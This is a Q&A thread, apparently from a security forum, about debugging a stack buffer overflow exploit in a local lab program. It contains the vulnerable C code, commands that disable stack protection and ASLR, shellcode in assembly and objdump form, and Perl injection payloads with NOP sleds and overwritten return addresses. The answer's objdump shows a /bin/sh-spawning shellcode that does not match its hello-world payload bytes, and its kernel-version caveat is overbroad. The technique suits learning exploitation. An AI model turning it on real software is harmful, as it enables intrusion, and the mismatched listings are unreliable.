1

I am trying to execute a simple shellcode by using a buffer overflow. The shell code starts executing but stops in the middle (even though it is fully copied to memory).

This is the vulnerable C code:

#include <stdio.h>
#include <string.h>

void foo(char *c) {
    char buf[80];
    strcpy(buf, c);
}

int main(int argc, char *argv[]){
    foo(argv[1]);
    return 0;
}

Code compiled with: gcc -m32 -fno-stack-protector -z execstack s.c

And I've disabled ASLR: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

This is the shell code in ASM (it just prints a "Hello_World!" string):

global _start
section .text

_start:
    ; write(1, "Hello World!\0", 13);
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    mov al,  0x4
    mov bl,  0x1
    
    ; '\0'
    push ecx
    ;"!dlr"
    push 0x21646C72
    ;"oW_o"
    push 0x6f575f6f
    ;"lleH"    
    push 0x6C6C6548
    mov ecx, esp
    
    mov dl, 0xD
    int 0x80
    
    ; _exit(0)
    xor eax, eax
    xor ebx, ebx
    mov al, 0x1
    xor bl, bl
    int 0x80
../shellcode-hello/hello:     file format elf32-i386

Disassembly of section .text:

08049000 <_start>:
 8049000:       31 c0                   xor    %eax,%eax
 8049002:       31 db                   xor    %ebx,%ebx
 8049004:       31 c9                   xor    %ecx,%ecx
 8049006:       31 d2                   xor    %edx,%edx
 8049008:       b0 04                   mov    $0x4,%al
 804900a:       b3 01                   mov    $0x1,%bl
 804900c:       51                      push   %ecx
 804900d:       68 72 6c 64 21          push   $0x21646c72
 8049012:       68 6f 5f 57 6f          push   $0x6f575f6f
 8049017:       68 48 65 6c 6c          push   $0x6c6c6548
 804901c:       89 e1                   mov    %esp,%ecx
 804901e:       b2 0d                   mov    $0xd,%dl
 8049020:       cd 80                   int    $0x80
 8049022:       31 c0                   xor    %eax,%eax
 8049024:       31 db                   xor    %ebx,%ebx
 8049026:       b0 01                   mov    $0x1,%al
 8049028:       b3 00                   mov    $0x0,%bl
 804902a:       cd 80                   int    $0x80

I've then loaded the program to gdb and executed: run $(perl -e 'print "\x90" x 48 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\x51\x68\x72\x6c\x64\x21\x68\x6f\x5f\x57\x6f\x68\x48\x65\x6c\x6c\x89\xe1\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\x30\xdb\xcd\x80" . "\x30\xce\xff\xff"')

I've set up a breakpoint after strcpy() to ensure that the NOP sleds + shell code + return address are all overridden. x/120xb $esp confirms that.

By using si I am able to confirm that the NOPs started executing -- and it also started executing part of y shell code. But for some strange reason, the shell code stops executing after mov dl, 0xd and it doesn't even execute the first 0x80 (for the write() system call). This is code being executed from gdb:

   0xffffce62                  push   0x6f575f6f
   0xffffce67                  push   0x6c6c6548
   0xffffce6c                  mov    ecx, esp
 → 0xffffce6e                  mov    dl, 0xd
   0xffffce70                  dec    eax
   0xffffce71                  gs     ins BYTE PTR es:[edi], dx
   0xffffce73                  ins    BYTE PTR es:[edi], dx
   0xffffce74                  outs   dx, DWORD PTR ds:[esi]
   0xffffce75                  pop    edi

Note that after the arrow (→), gdb stops executing my shell code in the middle of it (thus the last line of the shell code that was execute was mov dl, 0xd) -- GDB then starts executing some garbage code.

Why is this so? Is there a fix?

2
  • Since it's run time you should step through and pay attention to the values in registers. Since there is nothing that adjusts EIP once you're executing from the stack you're either further corrupting the stack during shellcode execution or your analysis is inaccurate
    – wireghoul
    Feb 17, 2023 at 3:29
  • I've found out that when executing the shell code's push instructions, the push data is overriding my shell code and thus the shell code executing is halted in the middle of it. Do not know yet how I can change the stack pointer address when executing the shell code such that it does not override my shell code..
    – ramon
    Feb 17, 2023 at 16:47

1 Answer 1

1

Mistake #1

I was overwriting the $EBP saved within the stack (which is located just before the return address / $EIP) with my shellcode. Instead now I am retaining the original saved $EBP.

Hence the payload is now made up of the following format:

<NOPs> <Shellcode> <previous function $EBP> <$EIP pointing to the middle of the NOP sled>

Mistake #2

My shellcode is utilizing push instructions. Each push instruction was overwriting part of my shellcode and hence why the shellcode stopped executing. This is as the $ESP was pointing to an address which coincides with part of my shellcode.

The solution to this is to modify the shellcode such that its makes the $ESP equal to the $EBP. Therefore the first line of code of the shellcode is:

mov esp, ebp

The above prevents overwriting parts of my shellcode.

Working Solution

Shellcode objdump:

../shellcode3/shell-new:     file format elf32-i386


Disassembly of section .text:

08049000 <_start>:
 8049000:       89 ec                   mov    %ebp,%esp
 8049002:       31 c0                   xor    %eax,%eax
 8049004:       31 db                   xor    %ebx,%ebx
 8049006:       31 c9                   xor    %ecx,%ecx
 8049008:       31 d2                   xor    %edx,%edx
 804900a:       b0 0b                   mov    $0xb,%al
 804900c:       53                      push   %ebx
 804900d:       68 2f 2f 73 68          push   $0x68732f2f
 8049012:       68 2f 62 69 6e          push   $0x6e69622f
 8049017:       89 e3                   mov    %esp,%ebx
 8049019:       cd 80                   int    $0x80
 804901b:       31 c0                   xor    %eax,%eax
 804901d:       31 db                   xor    %ebx,%ebx
 804901f:       b0 01                   mov    $0x1,%al
 8049021:       cd 80                   int    $0x80

Payload:

perl -e 'print "\x90" x 42 . "\x89\xec\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x02\x51\x68\x72\x6c\x64\x21\x68\x6f\x5f\x57\x6f\x68\x48\x65\x6c\x6c\x89\xe1\xb2\x0d\xcd\x80\x31\xc0\x31\xdb\xb0\x01\x30\xdb\xcd\x80" . "\x98\xce\xff\xff" . "\x30\xce\xff\xff"'

where:

  • \x98\xce\xff\xff = the saved (previous function's) $EBP
  • \x30\xce\xff\xff = the saved (previous function's) return address ($EIP)

Caveats

Shellcodes will no longer run on Linux Kernal v5.8+ [ref]. However you can test them within GDB.

Alternatively you can test them on an old Linux distro. In the case, please note that the return address + saved $EBP will be different, so modify the payload accordingly.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .